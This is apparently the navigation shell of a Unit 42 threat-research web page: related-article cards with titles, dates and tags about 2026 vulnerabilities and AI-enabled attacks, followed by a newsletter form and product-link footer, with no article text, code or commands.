![Pictorial representation of a group of people interacting with a dynamic 3D holographic display of colorful, undulating data waves on a table.](https://unit42.paloaltonetworks.com/wp-content/uploads/2025/09/11_Myth-Busting_Overview_1920x900-786x368.jpg)  
[![category icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2025/08/Insights-icon-white.svg)Insights](https://unit42.paloaltonetworks.com/category/insights/) August 4, 2026 [#### The Frontier AI Vulnerability Burst: Industrializing Autonomous Zero-Day Discovery in Open-Source Software](https://unit42.paloaltonetworks.com/frontier-ai-vulnerability-burst/)

* [AI](https://unit42.paloaltonetworks.com/tag/ai/ "AI")

* [Frontier AI](https://unit42.paloaltonetworks.com/tag/frontier-ai/ "Frontier AI")

* [Vulnerability Exploitation](https://unit42.paloaltonetworks.com/tag/vulnerability-exploitation/ "Vulnerability Exploitation")  
  [Read now ![Right arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-right-arrow-withtail.svg)](https://unit42.paloaltonetworks.com/frontier-ai-vulnerability-burst/ "The Frontier AI Vulnerability Burst: Industrializing Autonomous Zero-Day Discovery in Open-Source Software")  
  ![Pictorial representation of AI-enabled autonomous cyberattacks. A digital illustration depicting abstract, interconnected data streams in vibrant colors on a dark blue background](https://unit42.paloaltonetworks.com/wp-content/uploads/2026/07/AdobeStock_992950050-3-782x440.jpeg)  
  [![category icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/06/icon-threat-research.svg)Threat Research](https://unit42.paloaltonetworks.com/category/threat-research/) July 30, 2026 [#### Chinese-Speaking Threat Actor Harnesses AI Models for Autonomous Cyberattacks](https://unit42.paloaltonetworks.com/autonomous-ai-cyber-attack-campaign/)

* [ChatGPT](https://unit42.paloaltonetworks.com/tag/chatgpt/ "ChatGPT")

* [Claude code](https://unit42.paloaltonetworks.com/tag/claude-code/ "Claude code")

* [CVEs](https://unit42.paloaltonetworks.com/tag/cves/ "CVEs")  
  [Read now ![Right arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-right-arrow-withtail.svg)](https://unit42.paloaltonetworks.com/autonomous-ai-cyber-attack-campaign/ "Chinese-Speaking Threat Actor Harnesses AI Models for Autonomous Cyberattacks")  
  ![Pictorial representation of three zero-day vulnerabilities in Siemens ROX II OT switches. Digital illustration of a global network featuring interconnected lines and nodes over a map of the world, highlighted with neon lights and digital elements.](https://unit42.paloaltonetworks.com/wp-content/uploads/2026/07/03_Vulnerabilities_1920x900-786x368.jpg)  
  [![category icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/06/icon-threat-research.svg)Threat Research](https://unit42.paloaltonetworks.com/category/threat-research/) July 17, 2026 [#### Three Steps to the Terminal: A Siemens ROX II Zero-Day Trilogy](https://unit42.paloaltonetworks.com/siemens-rox-ii-zero-day-vulnerabilities/)

* [Command injection](https://unit42.paloaltonetworks.com/tag/command-injection/ "Command injection")

* [CVE-2025-40947](https://unit42.paloaltonetworks.com/tag/cve-2025-40947/ "CVE-2025-40947")

* [CVE-2025-40948](https://unit42.paloaltonetworks.com/tag/cve-2025-40948/ "CVE-2025-40948")  
  [Read now ![Right arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-right-arrow-withtail.svg)](https://unit42.paloaltonetworks.com/siemens-rox-ii-zero-day-vulnerabilities/ "Three Steps to the Terminal: A Siemens ROX II Zero-Day Trilogy")  
  ![Pictorial representation of PAN-OS CVE-2026-0257. A vibrant city skyline at night, with tall skyscrapers and glowing digital beams extending into the sky, suggesting advanced technology and connectivity.](https://unit42.paloaltonetworks.com/wp-content/uploads/2026/06/07_Vulnerabilities_1920x900-786x368.jpg)  
  [![category icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/07/top-threats.svg)High Profile Threats](https://unit42.paloaltonetworks.com/category/top-cyberthreats/) June 9, 2026 [#### Threat Brief: Active Exploitation of PAN-OS CVE-2026-0257](https://unit42.paloaltonetworks.com/active-exploitation-of-pan-os-cve-2026-0257/)

* [CVE-2026-0257](https://unit42.paloaltonetworks.com/tag/cve-2026-0257/ "CVE-2026-0257")

* [Vulnerability](https://unit42.paloaltonetworks.com/tag/vulnerability/ "vulnerability")  
  [Read now ![Right arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-right-arrow-withtail.svg)](https://unit42.paloaltonetworks.com/active-exploitation-of-pan-os-cve-2026-0257/ "Threat Brief: Active Exploitation of PAN-OS CVE-2026-0257")  
  ![Pictorial representation of CVE-2026-30300. Digital illustration of a map of North America with interconnected glowing lines and dots symbolizing network connections across the continent.](https://unit42.paloaltonetworks.com/wp-content/uploads/2026/05/06_Vulnerabilities_1920x900-3-1-786x368.jpg)  
  [![category icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/07/top-threats.svg)High Profile Threats](https://unit42.paloaltonetworks.com/category/top-cyberthreats/) May 6, 2026 [#### Threat Brief: Exploitation of PAN-OS Captive Portal Zero-Day for Unauthenticated Remote Code Execution](https://unit42.paloaltonetworks.com/captive-portal-zero-day/)

* [CVE-2026-0300](https://unit42.paloaltonetworks.com/tag/cve-2026-0300/ "CVE-2026-0300")

* [EarthWorm](https://unit42.paloaltonetworks.com/tag/earthworm/ "EarthWorm")

* [PAN-OS](https://unit42.paloaltonetworks.com/tag/pan-os/ "PAN-OS")  
  [Read now ![Right arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-right-arrow-withtail.svg)](https://unit42.paloaltonetworks.com/captive-portal-zero-day/ "Threat Brief: Exploitation of PAN-OS Captive Portal Zero-Day for Unauthenticated Remote Code Execution")  
  ![Pictorial representation of a severe Linux vulnerability. Close-up of a woman wearing glasses and focusing intently on a computer screen.](https://unit42.paloaltonetworks.com/wp-content/uploads/2026/05/05_Vulnerabilities_1920x900-2-1-786x368.jpg)  
  [![category icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/07/top-threats.svg)High Profile Threats](https://unit42.paloaltonetworks.com/category/top-cyberthreats/) May 5, 2026 [#### Copy Fail: What You Need to Know About the Most Severe Linux Threat in Years](https://unit42.paloaltonetworks.com/cve-2026-31431-copy-fail/)

* [Containers](https://unit42.paloaltonetworks.com/tag/containers/ "Containers")

* [CVE-2026-31431](https://unit42.paloaltonetworks.com/tag/cve-2026-31431/ "CVE-2026-31431")

* [Kubernetes](https://unit42.paloaltonetworks.com/tag/kubernetes/ "Kubernetes")  
  [Read now ![Right arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-right-arrow-withtail.svg)](https://unit42.paloaltonetworks.com/cve-2026-31431-copy-fail/ "Copy Fail: What You Need to Know About the Most Severe Linux Threat in Years")  
  ![Pictorial representation of CVE-2023-33538. Abstract image of a glowing red Wi-Fi symbol on a circuit board, with intricate patterns and a futuristic appearance.](https://unit42.paloaltonetworks.com/wp-content/uploads/2026/04/04_Vulnerabilities_1920x900-786x368.jpg)  
  [![category icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/06/icon-threat-research.svg)Threat Research](https://unit42.paloaltonetworks.com/category/threat-research/) April 16, 2026 [#### A Deep Dive Into Attempted Exploitation of CVE-2023-33538](https://unit42.paloaltonetworks.com/exploitation-of-cve-2023-33538/)

* [Botnet](https://unit42.paloaltonetworks.com/tag/botnet/ "botnet")

* [Command injection](https://unit42.paloaltonetworks.com/tag/command-injection/ "Command injection")

* [CVE-2023-33538](https://unit42.paloaltonetworks.com/tag/cve-2023-33538/ "CVE-2023-33538")  
  [Read now ![Right arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-right-arrow-withtail.svg)](https://unit42.paloaltonetworks.com/exploitation-of-cve-2023-33538/ "A Deep Dive Into Attempted Exploitation of CVE-2023-33538")  
  ![Pictorial representation of BeyondTrust vulnerability CVE-2026-1731. Digital art depicting a stylized mountain range with vibrant blue and red hues. The peaks are accentuated by glowing particles and an abstract, starry backdrop, creating a futuristic landscape.](https://unit42.paloaltonetworks.com/wp-content/uploads/2026/02/14_Overview_1920x900-786x368.jpg)  
  [![category icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/07/top-threats.svg)High Profile Threats](https://unit42.paloaltonetworks.com/category/top-cyberthreats/) February 19, 2026 [#### VShell and SparkRAT Observed in Exploitation of BeyondTrust Critical Vulnerability (CVE-2026-1731)](https://unit42.paloaltonetworks.com/beyondtrust-cve-2026-1731/)

* [Bash](https://unit42.paloaltonetworks.com/tag/bash/ "bash")

* [CVE-2026-1731](https://unit42.paloaltonetworks.com/tag/cve-2026-1731/ "CVE-2026-1731")

* [PowerShell](https://unit42.paloaltonetworks.com/tag/powershell/ "PowerShell")  
  [Read now ![Right arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-right-arrow-withtail.svg)](https://unit42.paloaltonetworks.com/beyondtrust-cve-2026-1731/ "VShell and SparkRAT Observed in Exploitation of BeyondTrust Critical Vulnerability (CVE-2026-1731)")  
  ![](https://unit42.paloaltonetworks.com/wp-content/uploads/2026/02/AdobeStock_1020436911-786x440.jpeg)  
  [![category icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/07/top-threats.svg)High Profile Threats](https://unit42.paloaltonetworks.com/category/top-cyberthreats/) February 17, 2026 [#### Critical Vulnerabilities in Ivanti EPMM Exploited](https://unit42.paloaltonetworks.com/ivanti-cve-2026-1281-cve-2026-1340/)

* [CVE-2026-1281](https://unit42.paloaltonetworks.com/tag/cve-2026-1281/ "CVE-2026-1281")

* [CVE-2026-1340](https://unit42.paloaltonetworks.com/tag/cve-2026-1340/ "CVE-2026-1340")

* [Ivanti](https://unit42.paloaltonetworks.com/tag/ivanti/ "Ivanti")  
  [Read now ![Right arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-right-arrow-withtail.svg)](https://unit42.paloaltonetworks.com/ivanti-cve-2026-1281-cve-2026-1340/ "Critical Vulnerabilities in Ivanti EPMM Exploited")  
  ![Pictorial representation of CVE-2025-0921. Digital illustration of a map of North America with interconnected glowing lines and dots symbolizing network connections across the continent.](https://unit42.paloaltonetworks.com/wp-content/uploads/2026/01/06_Vulnerabilities_1920x900-2-1-786x368.jpg)  
  [![category icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/06/icon-threat-research.svg)Threat Research](https://unit42.paloaltonetworks.com/category/threat-research/) January 30, 2026 [#### Privileged File System Vulnerability Present in a SCADA System](https://unit42.paloaltonetworks.com/iconics-suite-cve-2025-0921/)

* [CVE-2025-0921](https://unit42.paloaltonetworks.com/tag/cve-2025-0921/ "CVE-2025-0921")

* [Privilege escalation](https://unit42.paloaltonetworks.com/tag/privilege-escalation/ "privilege escalation")

* [SCADA](https://unit42.paloaltonetworks.com/tag/scada/ "SCADA")  
  [Read now ![Right arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-right-arrow-withtail.svg)](https://unit42.paloaltonetworks.com/iconics-suite-cve-2025-0921/ "Privileged File System Vulnerability Present in a SCADA System")

* ![Slider arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/slider-arrow-left.svg)

* ![Slider arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/slider-arrow-left.svg)  
  ![Close button](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/close-modal.svg) ![Enlarged Image]()  
  ![Newsletter](https://unit42.paloaltonetworks.com/wp-content/uploads/2026/03/unit42-footer-subscribe-desktop.png)  
  ![UNIT 42 Small Logo](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/palo-alto-logo-small.svg) Get updates from Unit 42

## Peace of mind comes from staying ahead of threats. Subscribe today.

Your Email

Subscribe for email updates to all Unit 42 threat research.  
By submitting this form, you agree to our [Terms of Use](https://www.paloaltonetworks.com/legal-notices/terms-of-use "Terms of Use") and acknowledge our [Privacy Statement.](https://www.paloaltonetworks.com/legal-notices/privacy "Privacy Statement")

This site is protected by reCAPTCHA and the Google [Privacy Policy](https://policies.google.com/privacy) and [Terms of Service](https://policies.google.com/terms) apply.

Invalid captcha!
Subscribe ![Right Arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/right-arrow.svg) ![loader](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-loader.svg)  
{#footer} Products and Services

* [AI-Powered Network Security Platform](https://www.paloaltonetworks.com/network-security)

* [Secure AI by Design](https://www.paloaltonetworks.com/ai-security)

* [Prisma AIRS](https://www.paloaltonetworks.com/ai-security/prisma-airs)

* [AI Access Security](https://www.paloaltonetworks.com/sase/ai-access-security)

* [Cloud Delivered Security Services](https://www.paloaltonetworks.com/network-security/security-subscriptions)

* [Advanced Threat Prevention](https://www.paloaltonetworks.com/network-security/advanced-threat-prevention)

* [Advanced URL Filtering](https://www.paloaltonetworks.com/network-security/advanced-url-filtering)

* [Advanced WildFire](https://www.paloaltonetworks.com/network-security/advanced-wildfire)

* [Advanced DNS Security](https://www.paloaltonetworks.com/network-security/advanced-dns-security)

* [Enterprise Data Loss Prevention](https://www.paloaltonetworks.com/sase/enterprise-data-loss-prevention)

* [Enterprise IoT Security](https://www.paloaltonetworks.com/network-security/enterprise-device-security)

* [Medical IoT Security](https://www.paloaltonetworks.com/network-security/medical-device-security)

* [Industrial OT Security](https://www.paloaltonetworks.com/network-security/ot-security-solution)

* [SaaS Security](https://www.paloaltonetworks.com/sase/saas-security)

* [Next-Generation Firewalls](https://www.paloaltonetworks.com/network-security/next-generation-firewall)

* [Hardware Firewalls](https://www.paloaltonetworks.com/network-security/hardware-firewall-innovations)

* [Software Firewalls](https://www.paloaltonetworks.com/network-security/software-firewalls)

* [Strata Cloud Manager](https://www.paloaltonetworks.com/network-security/strata-cloud-manager)

* [SD-WAN for NGFW](https://www.paloaltonetworks.com/network-security/sd-wan-subscription)

* [PAN-OS](https://www.paloaltonetworks.com/network-security/pan-os)

* [Panorama](https://www.paloaltonetworks.com/network-security/panorama)

* [Secure Access Service Edge](https://www.paloaltonetworks.com/sase)

* [Prisma SASE](https://www.paloaltonetworks.com/sase)

* [Application Acceleration](https://www.paloaltonetworks.com/sase/app-acceleration)

* [Autonomous Digital Experience Management](https://www.paloaltonetworks.com/sase/adem)

* [Enterprise DLP](https://www.paloaltonetworks.com/sase/enterprise-data-loss-prevention)

* [Prisma Access](https://www.paloaltonetworks.com/sase/access)

* [Prisma Browser](https://www.paloaltonetworks.com/sase/prisma-browser)

* [Prisma SD-WAN](https://www.paloaltonetworks.com/sase/sd-wan)

* [Remote Browser Isolation](https://www.paloaltonetworks.com/sase/remote-browser-isolation)

* [SaaS Security](https://www.paloaltonetworks.com/sase/saas-security)

* [AI-Driven Security Operations Platform](https://www.paloaltonetworks.com/cortex)

* [Cloud Security](https://www.paloaltonetworks.com/cortex/cloud)

* [Cortex Cloud](https://www.paloaltonetworks.com/cortex/cloud)

* [Application Security](https://www.paloaltonetworks.com/cortex/cloud/application-security)

* [Cloud Posture Security](https://www.paloaltonetworks.com/cortex/cloud/cloud-posture-security)

* [Cloud Runtime Security](https://www.paloaltonetworks.com/cortex/cloud/runtime-security)

* [Prisma Cloud](https://www.paloaltonetworks.com/prisma/cloud)

* [AI-Driven SOC](https://www.paloaltonetworks.com/cortex)

* [Cortex XSIAM](https://www.paloaltonetworks.com/cortex/cortex-xsiam)

* [Cortex XDR](https://www.paloaltonetworks.com/cortex/cortex-xdr)

* [Cortex XSOAR](https://www.paloaltonetworks.com/cortex/cortex-xsoar)

* [Cortex Xpanse](https://www.paloaltonetworks.com/cortex/cortex-xpanse)

* [Unit 42 Managed Detection \& Response](https://www.paloaltonetworks.com/cortex/managed-detection-and-response)

* [Managed XSIAM](https://www.paloaltonetworks.com/cortex/managed-xsiam)

* [Next-Generation Identity Security](https://www.paloaltonetworks.com/idira)

* [Privileged Access Management](https://www.paloaltonetworks.com/idira/human/privileged-access-management)

* [Identity and Access Management](https://www.paloaltonetworks.com/idira/human/identity-and-access-management)

* [Endpoint Privilege Manager](https://www.paloaltonetworks.com/idira/human/endpoint-privilege-manager)

* [Identity Governance](https://www.paloaltonetworks.com/idira/human/identity-governance)

* [Workforce Password Management](https://www.paloaltonetworks.com/idira/human/workforce-password-management)

* [Agentic Identities](https://www.paloaltonetworks.com/idira/agentic)

* [Secrets Management](https://www.paloaltonetworks.com/idira/machine/secrets-management)

* [Unified Secrets Governance](https://www.paloaltonetworks.com/idira/machine/unified-secrets-governance)

* [Application Credentials Delivery](https://www.paloaltonetworks.com/idira/machine/application-credentials-delivery)

* [Vendor Privileged Access](https://www.paloaltonetworks.com/idira/human/vendor-privileged-access)

* [Threat Intel and Incident Response Services](https://www.paloaltonetworks.com/unit42)

* [Prepare for Emerging Risks](https://www.paloaltonetworks.com/unit42/frontier-ai-defense)

* [Strengthen Your Defenses](https://www.paloaltonetworks.com/unit42/strengthen-your-defenses)

* [Build Your Security Strategy](https://www.paloaltonetworks.com/unit42/build-your-security-strategy)

* [Understand the Adversary](https://www.paloaltonetworks.com/unit42/threat-intelligence)

* [Respond to a Cyber Attack](https://www.paloaltonetworks.com/unit42/respond)  
  Company

* [About Us](https://www.paloaltonetworks.com/about-us)

* [Careers](https://jobs.paloaltonetworks.com/en/)

* [Contact Us](https://www.paloaltonetworks.com/company/contact-sales)

* [Corporate Responsibility](https://www.paloaltonetworks.com/about-us/corporate-responsibility)

* [Customers](https://www.paloaltonetworks.com/customers)

* [Investor Relations](https://investors.paloaltonetworks.com/)

* [Location](https://www.paloaltonetworks.com/about-us/locations)

* [Newsroom](https://www.paloaltonetworks.com/company/newsroom)  
  Popular Links

* [Blog](https://www.paloaltonetworks.com/blog/)

* [Communities](https://www.paloaltonetworks.com/communities)

* [Content Library](https://www.paloaltonetworks.com/resources)

* [Cyberpedia](https://www.paloaltonetworks.com/cyberpedia)

* [Event Center](https://events.paloaltonetworks.com/)

* [Manage Email Preferences](https://start.paloaltonetworks.com/preference-center)

* [Products A-Z](https://www.paloaltonetworks.com/products/products-a-z)

* [Product Certifications](https://www.paloaltonetworks.com/legal-notices/trust-center/certifications)

* [Report a Vulnerability](https://www.paloaltonetworks.com/security-disclosure)

* [Sitemap](https://www.paloaltonetworks.com/sitemap)

* [Tech Docs](https://docs.paloaltonetworks.com/)

* [Unit 42](https://unit42.paloaltonetworks.com/)

* [Do Not Sell or Share My Personal Information](https://panwedd.exterro.net/portal/dsar.htm?target=panwedd)
  ![Palo Alto Networks Logo](https://www.paloaltonetworks.com/etc/clientlibs/clean/imgs/pan-logo-dark.svg)

* [Privacy](https://www.paloaltonetworks.com/legal-notices/privacy)

* [Trust Center](https://www.paloaltonetworks.com/legal-notices/trust-center)

* [Terms of Use](https://www.paloaltonetworks.com/legal-notices/terms-of-use)

* [Documents](https://www.paloaltonetworks.com/legal)

Copyright © 2026 Palo Alto Networks. All Rights Reserved

* [![Youtube](https://www.paloaltonetworks.com/etc/clientlibs/clean/imgs/social/youtube-black.svg)](https://www.youtube.com/user/paloaltonetworks)
* [![Podcast](https://www.paloaltonetworks.com/content/dam/pan/en_US/images/icons/podcast.svg)](https://www.paloaltonetworks.com/podcasts/threat-vector)
* [![Facebook](https://www.paloaltonetworks.com/etc/clientlibs/clean/imgs/social/facebook-black.svg)](https://www.facebook.com/PaloAltoNetworks/)
* [![LinkedIn](https://www.paloaltonetworks.com/etc/clientlibs/clean/imgs/social/linkedin-black.svg)](https://www.linkedin.com/company/palo-alto-networks)
* [![Twitter](https://www.paloaltonetworks.com/etc/clientlibs/clean/imgs/social/twitter-x-black.svg)](https://twitter.com/PaloAltoNtwks)
* EN  
  Select your language  
  ![Play](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/player-play-icon.svg) ![Pause](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/player-pause-icon1.svg) ![Minimize](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-minimize.svg) ![Close button](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/close-modal.svg)

### Default Heading

Read the article ![Right Arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/right-arrow.svg)  
Seekbar

![Play](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/player-play-icon.svg) ![Pause](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/player-pause-icon1.svg)  
![Volume](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-volume.svg)  
Volume
![Minimize](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-minimize.svg)